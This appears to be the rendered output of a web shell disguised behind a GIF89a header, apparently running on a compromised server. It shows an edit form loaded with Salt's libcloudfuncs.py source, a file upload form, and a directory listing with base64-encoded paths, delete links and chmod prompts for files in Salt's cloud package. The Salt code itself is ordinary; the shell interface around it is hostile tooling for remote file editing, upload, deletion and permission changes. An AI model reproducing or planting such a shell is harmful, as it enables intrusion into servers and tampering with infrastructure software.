GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>libcloudfuncs.py<form method=post action="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ%3D&f=bGliY2xvdWRmdW5jcy5weQ%3D%3D"><input name="f" value="libcloudfuncs.py"><textarea name="t">&quot;&quot;&quot;
The generic libcloud template used to create the connections and deploy the
cloud virtual machines
&quot;&quot;&quot;

import logging
import os

import salt.client
import salt.config
import salt.utils.cloud
import salt.utils.data
import salt.utils.event
from salt.exceptions import SaltCloudNotFound, SaltCloudSystemExit

# pylint: disable=W0611
try:
    import libcloud
    from libcloud.compute.deployment import MultiStepDeployment, ScriptDeployment
    from libcloud.compute.providers import get_driver
    from libcloud.compute.types import NodeState, Provider

    HAS_LIBCLOUD = True
    LIBCLOUD_VERSION_INFO = tuple(
        int(part)
        for part in libcloud.__version__.replace(&quot;-&quot;, &quot;.&quot;)
        .replace(&quot;rc&quot;, &quot;.&quot;)
        .split(&quot;.&quot;)[:3]
    )

except ImportError:
    HAS_LIBCLOUD = False
    LIBCLOUD_VERSION_INFO = (1000,)
# pylint: enable=W0611


log = logging.getLogger(__name__)


LIBCLOUD_MINIMAL_VERSION = (1, 5, 0)


def check_libcloud_version(reqver=LIBCLOUD_MINIMAL_VERSION, why=None):
    &quot;&quot;&quot;
    Compare different libcloud versions
    &quot;&quot;&quot;
    if not HAS_LIBCLOUD:
        return False

    if not isinstance(reqver, (list, tuple)):
        raise RuntimeError(
            &quot;'reqver' needs to passed as a tuple or list, i.e., (1, 5, 0)&quot;
        )

    if LIBCLOUD_VERSION_INFO &gt;= reqver:
        return libcloud.__version__

    errormsg = (
        &quot;Your version of libcloud is {}. salt-cloud requires &gt;= libcloud {}&quot;.format(
            libcloud.__version__, &quot;.&quot;.join([str(num) for num in reqver])
        )
    )
    if why:
        errormsg += f&quot; for {why}&quot;
    errormsg += &quot;. Please upgrade.&quot;
    raise ImportError(errormsg)


def get_node(conn, name):
    &quot;&quot;&quot;
    Return a libcloud node for the named VM
    &quot;&quot;&quot;
    nodes = conn.list_nodes()
    for node in nodes:
        if node.name == name:
            __utils__[&quot;cloud.cache_node&quot;](
                salt.utils.data.simple_types_filter(node.__dict__),
                __active_provider_name__,
                __opts__,
            )
            return node


def avail_locations(conn=None, call=None):
    &quot;&quot;&quot;
    Return a dict of all available VM locations on the cloud provider with
    relevant data
    &quot;&quot;&quot;
    if call == &quot;action&quot;:
        raise SaltCloudSystemExit(
            &quot;The avail_locations function must be called with &quot;
            &quot;-f or --function, or with the --list-locations option&quot;
        )

    if not conn:
        conn = get_conn()  # pylint: disable=E0602

    locations = conn.list_locations()
    ret = {}
    for img in locations:
        img_name = str(img.name)

        ret[img_name] = {}
        for attr in dir(img):
            if attr.startswith(&quot;_&quot;) or attr == &quot;driver&quot;:
                continue

            attr_value = getattr(img, attr)
            ret[img_name][attr] = attr_value

    return ret


def avail_images(conn=None, call=None):
    &quot;&quot;&quot;
    Return a dict of all available VM images on the cloud provider with
    relevant data
    &quot;&quot;&quot;
    if call == &quot;action&quot;:
        raise SaltCloudSystemExit(
            &quot;The avail_images function must be called with &quot;
            &quot;-f or --function, or with the --list-images option&quot;
        )

    if not conn:
        conn = get_conn()  # pylint: disable=E0602

    images = conn.list_images()
    ret = {}
    for img in images:
        img_name = str(img.name)

        ret[img_name] = {}
        for attr in dir(img):
            if attr.startswith(&quot;_&quot;) or attr in (&quot;driver&quot;, &quot;get_uuid&quot;):
                continue
            attr_value = getattr(img, attr)
            ret[img_name][attr] = attr_value
    return ret


def avail_sizes(conn=None, call=None):
    &quot;&quot;&quot;
    Return a dict of all available VM images on the cloud provider with
    relevant data
    &quot;&quot;&quot;
    if call == &quot;action&quot;:
        raise SaltCloudSystemExit(
            &quot;The avail_sizes function must be called with &quot;
            &quot;-f or --function, or with the --list-sizes option&quot;
        )

    if not conn:
        conn = get_conn()  # pylint: disable=E0602

    sizes = conn.list_sizes()
    ret = {}
    for size in sizes:
        size_name = str(size.name)

        ret[size_name] = {}
        for attr in dir(size):
            if attr.startswith(&quot;_&quot;) or attr in (&quot;driver&quot;, &quot;get_uuid&quot;):
                continue

            try:
                attr_value = getattr(size, attr)
            except Exception:  # pylint: disable=broad-except
                pass

            ret[size_name][attr] = attr_value
    return ret


def get_location(conn, vm_):
    &quot;&quot;&quot;
    Return the location object to use
    &quot;&quot;&quot;
    locations = conn.list_locations()
    vm_location = salt.config.get_cloud_config_value(&quot;location&quot;, vm_, __opts__)
    for img in locations:
        img_id = str(img.id)
        img_name = str(img.name)

        if vm_location and vm_location in (img_id, img_name):
            return img

    raise SaltCloudNotFound(
        f&quot;The specified location, '{vm_location}', could not be found.&quot;
    )


def get_image(conn, vm_):
    &quot;&quot;&quot;
    Return the image object to use
    &quot;&quot;&quot;
    images = conn.list_images()
    vm_image = salt.config.get_cloud_config_value(&quot;image&quot;, vm_, __opts__)

    for img in images:
        img_id = str(img.id)
        img_name = str(img.name)

        if vm_image and vm_image in (img_id, img_name):
            return img

    raise SaltCloudNotFound(f&quot;The specified image, '{vm_image}', could not be found.&quot;)


def get_size(conn, vm_):
    &quot;&quot;&quot;
    Return the VM's size object
    &quot;&quot;&quot;
    sizes = conn.list_sizes()
    vm_size = salt.config.get_cloud_config_value(&quot;size&quot;, vm_, __opts__)
    if not vm_size:
        return sizes[0]

    for size in sizes:
        if vm_size and str(vm_size) in (
            str(size.id),
            str(size.name),
        ):
            return size
    raise SaltCloudNotFound(f&quot;The specified size, '{vm_size}', could not be found.&quot;)


def script(vm_):
    &quot;&quot;&quot;
    Return the script deployment object
    &quot;&quot;&quot;
    return ScriptDeployment(
        salt.utils.cloud.os_script(
            salt.config.get_cloud_config_value(&quot;os&quot;, vm_, __opts__),
            vm_,
            __opts__,
            salt.utils.cloud.salt_config_to_yaml(
                salt.utils.cloud.minion_config(__opts__, vm_)
            ),
        )
    )


def destroy(name, conn=None, call=None):
    &quot;&quot;&quot;
    Delete a single VM
    &quot;&quot;&quot;
    if call == &quot;function&quot;:
        raise SaltCloudSystemExit(
            &quot;The destroy action must be called with -d, --destroy, -a or --action.&quot;
        )

    __utils__[&quot;cloud.fire_event&quot;](
        &quot;event&quot;,
        &quot;destroying instance&quot;,
        f&quot;salt/cloud/{name}/destroying&quot;,
        args={&quot;name&quot;: name},
        sock_dir=__opts__[&quot;sock_dir&quot;],
        transport=__opts__[&quot;transport&quot;],
    )

    if not conn:
        conn = get_conn()  # pylint: disable=E0602

    node = get_node(conn, name)
    profiles = get_configured_provider()[&quot;profiles&quot;]  # pylint: disable=E0602
    if node is None:
        log.error(&quot;Unable to find the VM %s&quot;, name)
    profile = None
    if &quot;metadata&quot; in node.extra and &quot;profile&quot; in node.extra[&quot;metadata&quot;]:
        profile = node.extra[&quot;metadata&quot;][&quot;profile&quot;]

    flush_mine_on_destroy = False
    if profile and profile in profiles and &quot;flush_mine_on_destroy&quot; in profiles[profile]:
        flush_mine_on_destroy = profiles[profile][&quot;flush_mine_on_destroy&quot;]

    if flush_mine_on_destroy:
        log.info(&quot;Clearing Salt Mine: %s&quot;, name)

        mopts_ = salt.config.DEFAULT_MINION_OPTS
        conf_path = &quot;/&quot;.join(__opts__[&quot;conf_file&quot;].split(&quot;/&quot;)[:-1])
        mopts_.update(salt.config.minion_config(os.path.join(conf_path, &quot;minion&quot;)))
        with salt.client.get_local_client(mopts=mopts_) as client:
            minions = client.cmd(name, &quot;mine.flush&quot;)

    log.info(&quot;Clearing Salt Mine: %s, %s&quot;, name, flush_mine_on_destroy)
    log.info(&quot;Destroying VM: %s&quot;, name)
    ret = conn.destroy_node(node)
    if ret:
        log.info(&quot;Destroyed VM: %s&quot;, name)
        # Fire destroy action
        __utils__[&quot;cloud.fire_event&quot;](
            &quot;event&quot;,
            &quot;destroyed instance&quot;,
            f&quot;salt/cloud/{name}/destroyed&quot;,
            args={&quot;name&quot;: name},
            sock_dir=__opts__[&quot;sock_dir&quot;],
            transport=__opts__[&quot;transport&quot;],
        )
        if __opts__[&quot;delete_sshkeys&quot;] is True:
            public_ips = getattr(node, __opts__.get(&quot;ssh_interface&quot;, &quot;public_ips&quot;))
            if public_ips:
                salt.utils.cloud.remove_sshkey(public_ips[0])

            private_ips = getattr(node, __opts__.get(&quot;ssh_interface&quot;, &quot;private_ips&quot;))
            if private_ips:
                salt.utils.cloud.remove_sshkey(private_ips[0])

        if __opts__.get(&quot;update_cachedir&quot;, False) is True:
            __utils__[&quot;cloud.delete_minion_cachedir&quot;](
                name, __active_provider_name__.split(&quot;:&quot;)[0], __opts__
            )

        return True

    log.error(&quot;Failed to Destroy VM: %s&quot;, name)
    return False


def reboot(name, conn=None):
    &quot;&quot;&quot;
    Reboot a single VM
    &quot;&quot;&quot;
    if not conn:
        conn = get_conn()  # pylint: disable=E0602

    node = get_node(conn, name)
    if node is None:
        log.error(&quot;Unable to find the VM %s&quot;, name)
    log.info(&quot;Rebooting VM: %s&quot;, name)
    ret = conn.reboot_node(node)
    if ret:
        log.info(&quot;Rebooted VM: %s&quot;, name)
        # Fire reboot action
        __utils__[&quot;cloud.fire_event&quot;](
            &quot;event&quot;,
            f&quot;{name} has been rebooted&quot;,
            f&quot;salt/cloud/{name}/rebooting&quot;,
            args={&quot;name&quot;: name},
            sock_dir=__opts__[&quot;sock_dir&quot;],
            transport=__opts__[&quot;transport&quot;],
        )
        return True

    log.error(&quot;Failed to reboot VM: %s&quot;, name)
    return False


def list_nodes(conn=None, call=None):
    &quot;&quot;&quot;
    Return a list of the VMs that are on the provider
    &quot;&quot;&quot;
    if call == &quot;action&quot;:
        raise SaltCloudSystemExit(
            &quot;The list_nodes function must be called with -f or --function.&quot;
        )

    if not conn:
        conn = get_conn()  # pylint: disable=E0602

    nodes = conn.list_nodes()
    ret = {}
    for node in nodes:
        ret[node.name] = {
            &quot;id&quot;: node.id,
            &quot;image&quot;: node.image,
            &quot;name&quot;: node.name,
            &quot;private_ips&quot;: node.private_ips,
            &quot;public_ips&quot;: node.public_ips,
            &quot;size&quot;: node.size,
            &quot;state&quot;: str(node.state).upper(),
        }
    return ret


def list_nodes_full(conn=None, call=None):
    &quot;&quot;&quot;
    Return a list of the VMs that are on the provider, with all fields
    &quot;&quot;&quot;
    if call == &quot;action&quot;:
        raise SaltCloudSystemExit(
            &quot;The list_nodes_full function must be called with -f or --function.&quot;
        )

    if not conn:
        conn = get_conn()  # pylint: disable=E0602

    nodes = conn.list_nodes()
    ret = {}
    for node in nodes:
        pairs = {}
        for key, value in zip(node.__dict__, node.__dict__.values()):
            pairs[key] = value
        ret[node.name] = pairs
        del ret[node.name][&quot;driver&quot;]

    __utils__[&quot;cloud.cache_node_list&quot;](
        ret, __active_provider_name__.split(&quot;:&quot;)[0], __opts__
    )
    return ret


def list_nodes_select(conn=None, call=None):
    &quot;&quot;&quot;
    Return a list of the VMs that are on the provider, with select fields
    &quot;&quot;&quot;
    if not conn:
        conn = get_conn()  # pylint: disable=E0602

    return salt.utils.cloud.list_nodes_select(
        list_nodes_full(conn, &quot;function&quot;),
        __opts__[&quot;query.selection&quot;],
        call,
    )


def show_instance(name, call=None):
    &quot;&quot;&quot;
    Show the details from the provider concerning an instance
    &quot;&quot;&quot;
    if call != &quot;action&quot;:
        raise SaltCloudSystemExit(
            &quot;The show_instance action must be called with -a or --action.&quot;
        )

    nodes = list_nodes_full()
    __utils__[&quot;cloud.cache_node&quot;](nodes[name], __active_provider_name__, __opts__)
    return nodes[name]


def conn_has_method(conn, method_name):
    &quot;&quot;&quot;
    Find if the provided connection object has a specific method
    &quot;&quot;&quot;
    if method_name in dir(conn):
        return True

    log.error(&quot;Method '%s' not yet supported!&quot;, method_name)
    return False
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /opt/saltstack/salt/lib/python3.10/site-packages/salt/cloud<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQ="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>90019</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQvX19weWNhY2hlX18="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&x=Y2xpLnB5">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&f=Y2xpLnB5"/>cli.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&f=Y2xpLnB5&c=`+btoa(c):0" value="0644"></td><td>16121</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQvY2xvdWRz"/>clouds</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&f=Y2xvdWRz&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQvZGVwbG95"/>deploy</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&f=ZGVwbG95&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&x=ZXhjZXB0aW9ucy5weQ==">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&f=ZXhjZXB0aW9ucy5weQ=="/>exceptions.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&f=ZXhjZXB0aW9ucy5weQ==&c=`+btoa(c):0" value="0644"></td><td>1477</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&x=bGliY2xvdWRmdW5jcy5weQ==">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&f=bGliY2xvdWRmdW5jcy5weQ=="/>libcloudfuncs.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xvdWQ=&f=bGliY2xvdWRmdW5jcy5weQ==&c=`+btoa(c):0" value="0644"></td><td>12105</td></tr></table>